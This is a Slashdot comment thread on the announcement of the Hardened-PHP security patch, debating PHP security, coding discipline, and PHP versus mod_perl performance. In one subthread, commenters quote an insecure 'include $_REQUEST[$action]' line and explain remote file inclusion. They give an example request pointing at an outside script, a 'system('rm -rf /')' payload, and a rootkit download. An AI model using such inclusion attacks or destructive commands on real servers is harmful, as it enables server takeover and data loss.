Hardened PHP

Frank Kreuzbach writes "Yesterday the Hardened-PHP Project has announced its existence on the PHP-general mailinglist. It is the first public patch for PHP which adds security hardening features. It is meant as a proactive approach to protect servers against known and unknown weaknesses within PHP scripts or the engine itself. It enforces restrictions on include statements, adds canary protection to allocated memory and other internal structures and protects against internal format string vulnerabilities. It has syslog support and logs every attack together with the originating ip."

Comments

Oops

[Doomrat]

I like how this story is positioned just above the one about WinZip's poor security.

Is your PHP hardened?

[Anonymous Coward]

Or are you just glad to see me?

Phew!

[Dark Lord Seth]

adds canary protection

Is that protection against canaries? Protection with Japanese kunf-fu canaries? Or protection for canaries? I mean, the kung-fu canaries have potential...

Re:Phew!

[hattig]

I assume this like how they used canaries to test for gas in mines? If the canary died, then it was dangerous to be in that area.

So from that, I assume that "canary protection" is actually running a kind of honeytrap for common PHP exploits, and if one is triggered ("dies") then it does some computery equivalent of ("lets get the fuck out of this mine").

This is all speculation based upon the name though.

Re:Phew!

[CTho9305]

It's a way to protect against buffer overflows. You put some known data on the stack, and before returning from each function call, make sure that data hasn't been changed. Most buffer overflow exploits work by overwriting part fo the stack, and canary protection will detect that the stack has been changed, so the exploit code will not run.

Re:Phew!

[Anonymous Coward]

I keep a canary in my bathroom for that very reason.

Already in use

[Noose For A Neck]

I do some development and site administration work for a high traffic porn site, and I can tell you that we've been using Hardened PHP since before the project announcement (I'm friends with one of the developers). It works OK so far, but the server starts to get worn out after a while, after being particularly abused by a day's peak traffic.

Re:Already in use

[Ieshan]

Two Questions:

1) I've heard some complaints about PHP on "high traffic" sites, is it easier on you guys because you're primarily serving static pages? I mean, I'm not a big porn freak, but it seems to me that most porn sites wouldn't be overly dynamic, since most of the content doesn't change once it's posted. Maybe some of the userauth stuff is PHP based, and maybe a site forum, but I don't really see what else would need to be supar-dynamic.

2) Maybe this seems like a naive post - and maybe it's offtopic, mods, have your way - but with all the free porn that's constantly bombarding my mailbox and my computer screen with flashing messages, how do you all make money?

I mean, what's "high traffic"? 20 paying users? Where *are* all these people that don't get the same spams for free porn that I do?

Maybe the free porn isn't actually free, and that's why people pay.

Re:Already in use

[Tablizer]

porn site....server starts to get worn out after a while, after being particularly abused by a day's peak traffic.

Dontcha mean "peek" traffic :-)

Re:Already in use

[realdpk]

1) PHP is not all that great for high traffic sites. It's lightyears better than mod_perl - in my experience - but it's still very much worse than static pages. One major problem is people tend to make a site overly dynamic, or don't cache frequently run queries/functions. Zend Optimizer can help, as can the other Zend products, but only to a point.

2) Try thousands of users (it's not uncommon). Lots of free porn is out there, but the goal is to tease the surfer into pulling out a credit card. There are some niche sites that offer stuff nobody else does (for free) that can do quite well. What's hot now is live videocam chatting. I don't think you can get that for free (at least, not with the same quality selection)

Re:Already in use

[a1cypher]

Actually, I am a PHP developer for some major porn sites. The sites that I work with, however, arent the end user sites that people pay to view, I work with the sites where porn webmasters go to buy their content.

Surprisingly, it has to be fairly dynamic. Most of the work that my software has to do is in posting the content for the first time. You upload a zip, and the software will extract the zip taking the images makes thumbs and full sized samples with embedded watermarks. From this point on, the software is basically an advanced shopping cart with some extra features like the ability to order individual images out of a particular zip, and instant download.

The sites that I have setup are surprisingly popular, and within the past year and a half, the sites I work with have sold closs to half a million dollars worth of porn. That may not seem much to a big business tycoon, but it is when theres only a handfull of people making the profit.

I dont know how well the end user sales are however. I like this hardened php stuff and I think it has great potential. I am waiting for them to come out with a PHP5 version, and then I will jump right on it because all of my newer projects are going to be in php5.

Re:Already in use

[toastyman]

1) We've got no problem with PHP on a pretty high traffic porn site. Turck_mmcache helps quite a bit by caching the pseudo-compiled bytecode of each script, so it's pretty blazing.

Basically every page is dynamically generated, even the images go through a PHP script to make sure the right people are seeing the right images.

We honestly have a bigger problem with the SQL server keeping up than PHP consuming too much CPU. The site listed in my home page URL here runs on 3 servers, one for MySQL, one for most PHP scripts, and one to serve all the images. The two httpd servers handle about 1200 requests per second, and the loads are pretty low. 95% of those requests are PHP scripts.

2) For the site I'm talking about there, we've got anywhere from 1000 to 5000 people browsing the site at once. Another site I admin(very NSFW) gets much more traffic than that, and a lot of those visitors are downloading 5-200MB movies for free. There we have two thttpd servers handling most of the static files (videos and images). At times there we're in the more-than OC-12 levels of bandwidth, and they handle the load just fine.

How do we make money? Some of our sites are subscription based, and we try to have content that you can't get anywhere else. We try to drive the community aspect of our sites, and try not to just be "another generic porn site".

The first site lets anyone browse for free as much as they want, you just get access to more content if you pay. You also get to talk to the "performers" and a few other perks. The second site I mentioned is all free, it's supported by ads though.

(trying not to make this spam, just a bit of insight into how porn on the internet actually works. And no, I'm not Stile.)

Re:Already in use

[abulafia]

Weird. I do high-volume sites for a living, and mod_perl rocks. I sometimes fall back to coding something in C when it is called millions of times a day, but in general, mod_perl makes getting close to the iron really easy.

shrugs.

Hell, people probably can write fast software in PHP... I can't stand the language, myself, so I've never bothered to learn optimization tricks. Mod_perl kicks ass... as Slashdot knows, not to mention Amazon...

Can a PHP devotee who also knows web development from a mod_perl standpoint explain why you like PHP so much? I'm honestly curious. I've modified other people's apps, and find the language both cumbersome to use for non-trivial things and overly low level, at the same time.

Re:Already in use

[Karamchand]

Unfortunately mmcache isn't developed anymore, isn't it? :-/

Re:Already in use

[kensai]

So do you use Fluffer PHP as an addon to Hardened PHP in the porn industry?

Re:Already in use

[nemesisj]

I'm not extremely familiar with mod_perl, but I do lots of work in PHP.

The reasons I like PHP better than perl for web development is the fact that you can escape in and out of execution (yes, this can be and is often abused) and I like how PHP wraps some of the more unreadable aspects of perl (like extracting arguments, etc) and has nice session support.

Also, PHP seems to have a lot of standard web stuff rolled in by default. I know that you can configure perl to be whatever you want it to be, but back before I had access to my own servers whose environment I could control, this mattered a bit more.

Anyway, just my two cents - it really comes down to personal preference between the two in my opinion - lots of the major disctinctions have gone away in the last couple of years.

Re:Already in use

[BusDriver]

Turck MMCache dev stopped since the lead dev was taken in by Zend. That doesn't mean development has stopped though! New people have taken it over and are slowly coding new stuff up!

Re:Already in use

[onlyjoking]

Case in point. I started with Perl, learnt mod_perl then had to switch to PHP for most of my client work because most of them were using hosts which didn't provide mod_perl. This is the biggest drawback with Perl. Great language but brain-dead in the marketing department. Perl has lost ground in the web development sphere because it depends on mod_perl to compete with mod_php for performance. Perl templating engines (Mason, Apache Template, Embperl) allow you to do what PHP can do (and much more) but you're saddled with finding a host who will "risk" offering mod_perl. The authors of O'Reilly's "Practical mod_perl" even went so far as to advise explicitly against offering mod_perl in a shared hosting environment. Hence PHP replaces Perl in shared hosting environments.

Mention this on comp.lang.perl.misc and you get flamed for referring to Perl as a web developmnent tool. Well, if the Perl community only sees Perl as a tool for large web projects then so be it but they're making a big mistake. There should be a decent Perl templating engine which can run as an Apache module without exposing the Apache API, so that it would just do the one job well. Until this happens PHP will simply wipe Perl off the map in shared hosting environments.

Hopefully Perl 6//Parrot/Ponie will come up with something to break the inertia as bog-standard Perl CGI is irrelevant these days. Hell, many hosts don't even allow you free reign with installing CPAN modules.

Re:Already in use

[billysara]

Mine does too - yay for us :-)

I use PHP all the time. I know perl/mod-perl too but it doesn't have the install-base that php does - especially selling to people on shared hosting packages..

It's also kind of unusual to find cheapo shared hosting sites (on the adult side of things) who will let you run cron jobs or the like. Understandably :-)

Re:Already in use

[TheRaven64]

The authors of O'Reilly's "Practical mod_perl" even went so far as to advise explicitly against offering mod_perl in a shared hosting environment. Hence PHP replaces Perl in shared hosting environments.

I'd be interested to know how this is done. As far as I have been able to tell from installing PHP, playing with it, and skimming the documentation there is no easy way of preventing and PHP pages run by mod_php being run as the Apache user. For me, this is not a problem since no one else uses my server. It seems the only way to run PHP pages as the user who owns them is to use the CGI version of PHP which has the disadvantage of loading a 4MB binary every time a PHP page is called.

Re:Already in use

[Lando]

Speaking as someone who is familiar with both mod-perl and php and still does primary work in php, perhaps I can enlighten you.

The fact of the matter is that before mod-perl, getting perl to run as a scripting language required spawning perl processes for each request made to the server. This causes significant problems. PHP as a compiled in resource could be handled by the apache children themselves and did not suck up extra resources.

Now, that's not the case with perl any longer, but with any system that you have significant ammounts of time and other investments in, it's kinda hard to drop current production and switch back to perl.

Currently, since the new core for perl has been underway for a while and that will likely require a reworking of the code the decision has been made to hold off so that we don't have to rework the engine twice.

Re:Already in use

[Yaa 101]

Perl was invented to scratch a itch on the commandline, PHP is purely invented for apache and this shows... The problem is not PHP being "slow", the problem is wrongly usage of the database, mostly mysql. Some well known PHP programs use more than 30 queries each go, you can understand that of course a high volume site is out of the question... Further there is also the question with both Perl and PHP, that is a smooth configured Apache that can fork and prefork a number instances from itself to serve connections. Mainly PHP is a C like interperter on steroids... The language is very problem solving by nature and very efficient in that it takes a handfull of statements to solve a complicated matter... I think Perl developers see the same with Perl, my impression is that the same solutions take less code in PHP compared to Perl, but the is my private impression... The largest power of PHP is intuitivity, most constructs you think off work in one or 2 go's while in other Languages often you are buried to death with error messges... And not to forget, instant gratification, you can do more than 1000 runs in a hour when developing...

Re:Already in use

[onlyjoking]

Regardless of Apache versions mod_perl is still a much bigger risk because it exposes the Apache API. By contrast mod_php exists, it seems, merely to give PHP its speed boost. This is what Perl needs.

Re:Already in use

[BusDriver]

There is a 2.4.7-dev version from CVS that works quite well with PHP5!

I don't think it's future is in doubt at all, just that the insane pace it was developed at has slowed a little bit.

Call Me Crazy But....

[CptSparrow]

From the site:

to protect your servers on the one hand against a number of well known problems in hastily written PHP scripts

Wouldn't a better defense be to simply write good code?

Re:Call Me Crazy But....

[Karamchand]

Think about web space providers, usually they can't really control which scripts are executed on their servers by the customers. PHP's safe mode is cute already, but this can be an additional layer of security.

Re:Call Me Crazy But....

[The_Mystic_For_Real]

Of course the best way to secure anything is to take the time to write good code, but the reality is that many pages have to be put together in a limited amount of time by people with very little experience. I think that it is a good thing to see people in the security community keeping this in mind.

is this just an excuse to write sloppy code

[burritoKing]

it's certainly a step in the right direction, however as most vulnerabilitiesseem to come about as a result of poorly written code shouldn't the community be trying to educate newer (and some more experienced) PHP users.

Re:is this just an excuse to write sloppy code

[dooguls]

I couldn't agree more with this poster. I think education of programmers in our Computer science educational instutiutions is lacking severly in teaching new programers about what dangers poorly written code can result in. I did a semester research project on the subject for my masters. (http://www.csee.umbc.edu/~cress1/cmsc791.html) All the educators I included in my project had very little if any clue about secure programming issues and after being presented with teaching alternatives were interested to include them in their curriculum. Does anyone else have any experiece where their professors hammered home the point that insecure and poorly written code can have catestrophic results?

Re:is this just an excuse to write sloppy code

[Crayon Kid]

Besides the dangers of bad code in general, PHP is particularly dangerous, with it's very flexible and network enabled features. It only gets worse because it is (apparently) so easy to learn and use and it makes everybody feel like a God of website making in no time flat. [Insert boss saying "hey, secretaries could write PHP without a problem" here].

The solution would be a very restrictive safe mode, which would freaking MAKE people watch what code they're writing and give up incredibly stupid and at the same time tricky stuff like using variables with globals enabled without any kind of previous cleaning or filtering. And the second half of the solution would be to throw out on their ass all the self-proclaimed PHP programmers who pull stupid stuff like this.

The first part won't happen because hosting services can't afford to break all the sites using globals and so on. The second half may happen, I dunno.

Meanwhile, hardened PHP won't mean much, I'm afraid. If a guy doesn't know enough to use an automated filtering class on his $_GET[] he won't know he needs Hardened PHP either, because he lacks severely where PHP security is concerned. You can lead a horse to water but you can't make it drink, right?

Re:is this just an excuse to write sloppy code

[mumblestheclown]

i couldn't disagree more.

as the japanese car makers discovered (or at least the idea came to prominence) in the 1950s, ANYBODY (even people with 93 PhDs) who assembles something makes mistakes occasionally. the trick is to limit the number of modalities that allow for mistakes. a person who is asked to make a wheel fairing in three minutes using simple hand tools will make far more mistakes than one who has a dedicted stamping machine.

in fact, the japanese cars excelled in quality, worker satisfaction, and in the competitive marketplace for many years in large part that their idea that a) errors are natural stochastic processes b) the rate of errors in an any process is more determined by the design of the process than some inherent quality of the worker and therefore c) when a mistake is made, analyze the process, don't blame the worker as this will lead to d) continuous improvement and also empower workers to speak up.

even the most experienced PhP programmer can make an error. education helps, but fixing the system is a better idea.

Re:is this just an excuse to write sloppy code

[Glendale2x]

Meanwhile, hardened PHP won't mean much, I'm afraid. If a guy doesn't know enough to use an automated filtering class on his $_GET[] he won't know he needs Hardened PHP either, because he lacks severely where PHP security is concerned. You can lead a horse to water but you can't make it drink, right?

How 'bout a link to or example of (a good) one?

Re:is this just an excuse to write sloppy code

[wantedman]

Not really sure I understand. Surely a better way would be to train the person, rather than build in safeguards just in case they produce something that is faulty ( a likely event)

Ok, there's a difference between cutting a board with a handsaw and cutting something with a electric powered table saw. No matter how much training I have, a table saw will cut a board faster and straigher than a hand saw.

Which is why education is so important, let's move away from syntax/coding and look at testing/evaluation.
Ok, let's look at testing/evaluation. The truth is, must exploits happen because a hax0r finds a way to interact with a program that the programmer wasn't thinking about.

How do you design a test that interacts with a program that the programmer wasn't thinking about? How do you design a test that interacts with a program where another program causes the error, such as the COM / ActiveX Exploit.

Education is fine, but there is a time when it's not enough. You have to accept that there will be situations where people don't think. If you can design your tools to protect yourself around those, then your company will be better off.

Re:is this just an excuse to write sloppy code

[Kiryat Malachi]

It's more than that, though. Mechanical and electrical engineers (usually) learn a concept called design for manufacturability, which encompasses things like designing such that when you try to fit tab A into slot B, it is physically impossible to fit them in the wrong way. For the non-engineer, good examples of this are keyed ATA-IDE connectors; the old ones weren't keyed, and you had to check the cable for the red wire and the board for the 1 pin, to make sure you had it in right. Now you just line the slot with the tab and its correct. That's DFM, and the idea is that you physically CANNOT fuck it up, making a 75 IQ and a 150 IQ functionally equivalent.

Its all about the process, and very little about the worker, if you designed the process right. Similarly, if Hardened PHP can make it so that exploitable code simply can't run, you've cut down your probability of breach whether you have great programmers or George W. writing your code.

Laziness

[kevmo]

From what I can see this project doesn't do much against protect lazy coders. The features listed are easily protected against by writing non-sloppy code.

I'm not sure that this project is a good thing, as if someone gets used to it and switches to a server without it they might be in trouble.

Re:Laziness

[HeghmoH]

This is a common theme, the "Security problems only occur because of lazy/sloppy/stupid coders, and the solution is to become better coders" theme.

The problem is that it's complete BS. Even the most wizardly coder will make mistakes. The only way to be secure is to have lots of code reviews, and then things still get through; look at holes in SSH or Apache. Tools like this certainly don't hurt, and they might just help. "Don't make mistakes" is not an option.

Bad Coding = Security Holes

[wellard1981]

I don't think the PHP engine is to blame, it's more of an issue with the PHP script developers to make sure they plug all the holes -- sure that's not always possible, however take PHPNuke as an example of poor PHP scripting, SQL injects are possible though a number of the modules. You have to add a high number of 3rd party patches to make the thing secure.

This Hardened PHP is just hand holding the developer into a false sence of security.

Re:Bad Coding = Security Holes

[Rui Lopes]

Why protected at an upper level, if you can protect at a lower level? It's more robust to enforce security at a lower level than to rely on good programming practices!

Re:Bad Coding = Security Holes

[chegosaurus]

My PHP site is on a shared host. I do my level best to write secure code, but it's very possible the people who share my server don't. The server gets exploited through one of those, my site gets rmed or defaced, and suddenly I don't look so clever.

It's so easy to write bad code in PHP that half the world is doing it. Anything that helps ISPs protect users from the shortcomings of their peers has to be good news.

How about fixing safe mode instead?

[moeffju]

Wouldn't it be a lot more useful if they found an ingenious way to have PHP scripts run properly in a suexec environment, so we can finally get rid of safe_mode and open_basedir everywhere?

Not that this is not nice; every language should have internal hack/bug protections. But a proper security model would do more, no?

PHP security all relies on the coder

[bigberk]

It's all about how the coder writes his/her software, same with C, or Java, or anything else. I am directly aware of several breakins using PHP, and none of them used buffer overflows or anything so low level.

The most interesting one I saw used a programming flaw (note: not PHP's fault) to execute arbitrary commands to get the web server to download, compile, and execute a telnetd-like program for remote logins. Once the attacker had gained access via user nobody, they ran one of several trivial Linux local root exploits to get root. Don't kid yourself, Linux ain't all that secure.

This is a Good Thing(R)

[Anonymous Coward]

Well believe it or not, in a lot of cases, PHP code just cannot be trusted. There may be vulnerabilities outside of PHP that can allow an attacker to place their own scripts on the server. When for instance, the ftp access password is cracked, someone can do just about anything if php hasn't been secured. With extra security measures, your site might be lost, but the server won't be compromised any further than that. For instance, on my server, functions like system and popen are disabled.

Besides, if everyone writed only really nice code, why would there be RSBAC and PaX?
Trust is a weakness.

Really Now..

[FuzzyBad-Mofo]

From one of "Hardened PHP's" examples:

include $_REQUEST[$action];

Which is certainly a good example of what not to do; but if somebody's dumb enough to do something like this, likely no amount of engine protection is going to help them.

Re:Really Now..

[grazzy]

Well, whoever came up with the idea that include and require could take an URL as argument should be slapped ...

Re:Really Now..

[Anonymous Coward]

No, it's far worse than just reading "/etc/passwd", you could say "action=http://example.com/exploit.php", and PHP will happily (yet stupidly) execute the contents of "exploit.php", whatever that might be (say, "system('rm -rf /');" perhaps?).

Because PHP was written with security as a distant afterthought.

Re:Really Now..

[Doppleganger]

That depends on whether the remote server is set up to execute the file.

If the remote server is set up to simply send the file as text, then the *local* server will execute the text. As a PHP script. As the local user. And your remote attacker has the ability to run any commands on the server that a local script could run (usually, "wget a rootkit from this other server, unzip it, and execute it...")

Re:Really Now..

[Monkeyman334]

Believe it or not PHP-Nuke had that exact behaviour about a year ago. The problem wasn't including ordinary files. The problem is with PHP you can include http files. So just make a request action=http://myserver/phpscript.php that had system() calls and you basically had a non interactive shell that could upload and execute files as the httpd user. Which is much closer to an exploit than including a /etc/passwd (which doesn't work in PHP either btw, unless the httpd user has read permissions on that file).

Other PHP Hardening Sites

[Dozix007]

I run http://www.uberhacker.com . This site is dedicated to secure PHP programming. It is better to program secure rather than limit coding abilities. Secure programming allows for a wider range of scripts and security.

Not quite

[vlad_petric]

Make no mistakes - in 2001 a security paper claimed that ``it is very hard to write a secure PHP application (in the default configuration of PHP), even if you try''

``A Study In Scarlet - Exploiting Common Vulnerabilities in PHP'' [Clowes 2001]

PHP is probably slightly better these days, but, just like Windoze, simply wasn't designed with security in mind. It's a language grown incrementally, designed to allow you to write websites very quickly. And yes, easy to use means that it attracts people who know very little about programming.

Conclusion: combination of insecure language plus low-quality developpers equals security disaster.

Re:Not quite

[vlad_petric]

Java Server Pages - jsp.

Its advantages: faster (java isn't slow, it has a slow startup, which for a server is hardly a big deal), because the code you write is going to be converted in machine code; scales better (PHP still doesn't provide connection pooling; pconnect doesn't count, btw); more secure (no buffer overflow b/c of java, can use security policies to restrict what your pages are doing)

Its disadvantage: well, you have to learn java. You can't just jump into writing jsp pages, as you'd do with php. But I can equally argue that that's an advantage as well, as it increases the quality of code.

Re:Not quite

[snillfisk]

While all aspiring PHP-programmers should take the time to read the paper mentioned to understand why and how -- and to guard themselves against doing the same mistakes that we've all grown accustomed to over the years, it should be mentioned that almost all these default attack vectors has been taken care of during the years.

the default installation of PHP today makes people write a lot more robust code than it used to do. New applications has been able to move away from the 'ugly' things and a general understanding of what not to do has been developed by almost all active developers. If you've done serious PHP developement during the last years, you know how much further things has come.

Re:Not quite

[passion]

The super-global variables were first available in php4.0 beta 4 (released 2/2000), and were upgraded in 4.1 (12/2001), for further information, see PHP's ChangeLog.

The biggest change this created was discouraging people from using register_globals - probably the biggest security hazard until that time with writing php. This has been turned off by default since then, but unfortunately I'm still seeing developers rely upon this awful feature.

This doesn't make php bad, it makes those who write with that feature bad programmmers. Just because you can plow over a pedestrian with your car, it doesn't mean that everyone should have their car taken away... it just means that they're crappy drivers.

nice intent but wrong approach

[mabu]

There's a fine line between securing a base system and crippling functionality. I'm all for the Hardened project, but I think ultimately it's the programmer's responsibility to make sure their code is secure.

A better approach might be to create some sort of code-parser that examines PHP code and warns the programmer of possible bad habits. Of course this should be prefaced with a long disclaimer that such a system isn't foolproof but is a good idea to run on any code to make sure you haven't overlooked any obvious problems.

A patch?

[mabu]

After going over the site, Hardened PHP appears to be a patch to the existing PHP. Why don't the authors just petition the folks developing PHP to include these patches in an upcoming version?

The problem I have with this project is that it's likely PHP-version dependent, and once you implement it, you have two different sources you have to synchronize code for (not unlike Apache+Mod_SSL). I'd rather not have twice as much work to incorporate these features if necessary.

Re:Dynamic Porn

[Anonymous Coward]

Am I the only that disagrees with your technique?

I understand that the galleries of pics have to be filtered from a single database for each site, but there is a better way to do this.

Instead of writing dynamic pages, write an application that produces static pages based on the database. Whenever your content changes, re-run the applications to get fresh static pages.

Dynamic pages are just way too much overhead for what you're trying to accomplish.

I dont get this

[cyberlotnet]

Tons of complaints about how php programmers should program better, how php sucks, this and that..

Yet just the other day people where bitching about Fedora not having SELinux on by default.

PHP - Hardened PHP
Fedora - "Hardened Fedora"

Its really the same thing. Instead of fixing root flaws we through more security over them hoping it will stop then next hacker..

Linus must really suck at kernel programming if we have to do things like this..

No he doesn't Linus rocks, I cheer for every single developer that has ever submitted a patch to the kernel.

Fact of the matter is this..

WE ARE HUMAN.. TO BE HUMAN IS TO ERR.

Yes the programmers, be it php exploits or the next kernel buffer overflow make mistakes.. Does that mean they are bad programmers.. HELL NO..

Are there a lot of bad PHP programmers, yes.. I bet there are a lot of bad C programmers out there as well. We are just lucky they dont get to commit changes to the kernel or we would all be FUBAR.

Not likely to get many replies

[Anonymous Coward]

Not many folks will qualify as knowing both. From my perspective, PHP was stable (MOD_PERL, several years back, was twitchy) and considerably simpler. Remember that to much of the programming world, Perl is weird.

Umm..

[jvollmer]

Wouldn't that make it HPHP?

If it's not Consolidated Lint, it's just fuzz!

Perspective

[cnf]

I think it is funny how most /. readers demonstrate how they think from a user perspective, and not from an admin perspective.

Now don't get me wrong, I understand, it's *hard* to think as an admin if you have never *been* one. But when you are an admin on a machine, you don't think "My users will just have to learn how to code secure, then there is no problem."
Sorry folks, just ain't gonna happen!
Joe home who wrote a site just to show off his holliday pictures thinks its swell how easy php is, and he doesn't really care about becoming fluent in php, as long as his little enviroment runs!

Sure, you can try and educate your user, but if you maintain a 500+ user server, security is in YOUR hands. only ONE of your users need make an error, and the whole machine might go down. And the "poor coding is the only reason for security holes" just doesnt cut it there.

Harden your servers, admins. Make the internet a fun place to be.

There are many better alternatives to PHP

[voodoo1man]

A mini-language designed for one purpose will eventually become a general-purpose language (as PHP already has), and it doesn't mean it is well-designed in the first place (as my superficial familiarity with PHP tells me). That being said, there are many alternatives to PHP that work quite well.

The ones I'm most familiar with are extensions of Common Lisp. There are 3 CL web servers, each with dynamic HTML generation capability (AllegroServe, Araneida, CL-HTTP). Then there's Lisp Server Pages, Active Lisp Pages, etc., and another whole load of CGI solutions. I use (and highly recommend) AllegroServe. There is a whole big list over at Cliki (which runs on Araneida).

There are many CGI bindings for various Scheme implementations, and the PLT web server is kind of popular. I'm not very familiar with Scheme web solutions though, so I probably left something out.

There is a lot of activity with Smalltalk-based web apps. Seaside is a continuation-based framework that gets a lot of attention. There's also AIDA/Web, and an unfinished mod.Smalltalk. I am not very familiar with Smalltalk web solutions either, so I probably missed a few.

Python is a very popular option, and Zope seems to be a very popular framework. I don't know anything about web programming in Python aside from that.

Take pretty much any of the recent lightweight (in the conference meaning of the term) languages, and you're bound to find good options, almost all of them better in terms of security and speed than PHP; I can't think of a single one that has a more annoying syntax or more convoluted and limited semantics than PHP, though. Another thing that you should consider is the website we're posting on is pretty interactive, and kind of popular, and it's written in Perl.

Re:There are many better alternatives to PHP

[sbermunk]

I'm sorry, but I think you're nuts. Not to specifically knock the other choices you mention, but I think plenty of people feel that PHP has a far less annoying and convoluted syntax than say Perl or Lisp, which you seem to be advocating instead of PHP. And you say you have a "superficial familiarity" with PHP, yet knock PHP for a lack of Speed... Try it, you might be surprised (especially if you use a compilation cache like Turck MMCache). Why do you think every other random interpreted language is going to be way faster than PHP?
The only point I won't argue strongly is the security aspect. I don't think PHP is as bad as everyone is claiming if it is set up properly, but it isn't perfect - in particular too many ease-of-use features have been added that can chuck any semblance of security right out the window...

Re:Nothing wrong running everything through index.

[imroy]

Ugh. God I hate seeing sites handled almost entirely out of index.php. Like an iceburg it's the publicly visible part of a very troubled language.

Try this for an ugly URL:

http://www.ogre3d.org/modules.php?op=modload&name= Sections&file=index&req=viewarticle&page=1&arttitl e=Features

Sorry to pick on the Ogre3D project. I've seen similar URL's around (in particlar on sourceforge projects) so it appears to be using one of the popular PHP theming packages. What an ugly abomination. I'm of the (strong) opinion that URLs should make sense and if possible, be memorable. It's a geek thing. I sometimes forget to bookmark pages or for whatever reason can't get an electronic version (email, text file, etc) to myself. I don't know how much URL's matter to non-geek users, but making things clearer would probably help everyone.

PHP seems to have no mechanism to handle "virtual" URLS (i.e not pointing directly to files), instead relying on the admin to use Apache's mod_rewrite module. Could some PHP coder enlighten me, is this really true? It seems very odd that a language (and runtime) supposedly designed specifically for web pages does not support this important feature.

Re:Nothing wrong running everything through index.

[Dozix007]

Well, understandable URLs can actually be a problem. I point out a tutorial on Uberhacker.Com that actually shows why it is. If someone is able to look at a URL and "understand" it, you can do quite a bit of damage. For example : somesite.com/index.php?cmd=del&msg=456 From looking at this somewhat "memorable" URL, it is easy to see what it does. Also, if the particular site has no protection with it's delete command, it would be easy to reak havoc across the site.

Re:Nothing wrong running everything through index.

[imroy]

To state the obvious, no shit. Of course you're going to have problems with the ficticious URL and system you presented. Somewhat of a straw-man argument there.

Now here's what I suggest: Don't combine "content" pages/scripts with "action" pages/scripts. What I mean is, have a script that does the adding/deleting/renaming/whatever and then does a 302 Temporary redirect (back) to the page/script that actually displays the data.

This has the following advantages:

• The "action" URL doesn't show up in the browser URL bar.
• It can't be bookmarked by accident.
• It won't even show up in the browse history and can't be accessed by hitting the "back" button (at least it doesn't on Mozilla, haven't checked other browsers).
• It makes your URLs and code clearer (code seperation and all).

As for authentication and protection, well that's a different matter. It doesn't really have much to do with URL's. Use cookies and even SSL to nail things down.

Probably a few reasons:

[Phil John]

1) Some of these patches may introduce subtle bugs into interactions with 3rd party libraries (that covers pretty much most of the major function()s in PHP)

2) Some of these patches may introduce performance hits which would not be acceptable for some uses.

3) If you are running a large hosting company these patches may subtly break scripts being used by customers, tech supportality ensues.

4) Since this is a fairly new project, not even to a 1.0 release the pace of change may be so fast that it's more trouble than it's worth for the PHP and HPHP guys to keep making patch after patch as api's and such change. This way, the HPHP guys can toil away, making whatever internal changes they need to to achieve the securing of PHP.

I'm not saying this isn't a good idea, just I don't think it's the right time for this to happen, when the codebase has settled down maybe, but with the imminent move to the Zend Engine 2 and PHP 5 they may have to start from scratch (don't quote me on that however, it could be trivial for all I know!).

"Safe programming" ain't that easy

[garyebickford]

I've been working on an article about fault tolerance, which is related to security in important ways. It all comes down to complexity. Computer science is, its essence, the management of complexity. A programming system of the size of PHP must incorporate as much support for fault tolerance at its own internal level of complexity as possible, because the system is too complex itself for any programmer to understand the security implications of all possible interactions between different components of the PHP runtime system, and all the libraries. In short, as several admins pointed out from their own point of view, you can't depend on your own code, much less that of 500 others on the same server.

Looking at the Documentation Page for Hardened PHP, the project is adding some very good changes to the underlying runtime environment and constraints on programmers. Based on my first glance I would be pleased, and not at all surprised, if some of these are incorporated into the main PHP in some form down the road, once it's been ironed out for a while. I'm glad to see folks actively using it.

As for the various mod-perl advocates who don't grok PHP, I personally dislike working in Perl, which seems to me to be a collection of all the things that were thrown out of other languages because they promote bad programming practice. That's OK, I understand it has power and flexibility, but Perl code too often looks like sneezing to me. Different strokes, see.

The security issues raised by this project are certainly matched by many of the same or equivalent ones in Perl. IMHO, both PHP and Perl have become too big. It is a truism that the probability of failure increases geometrically with the size of a system.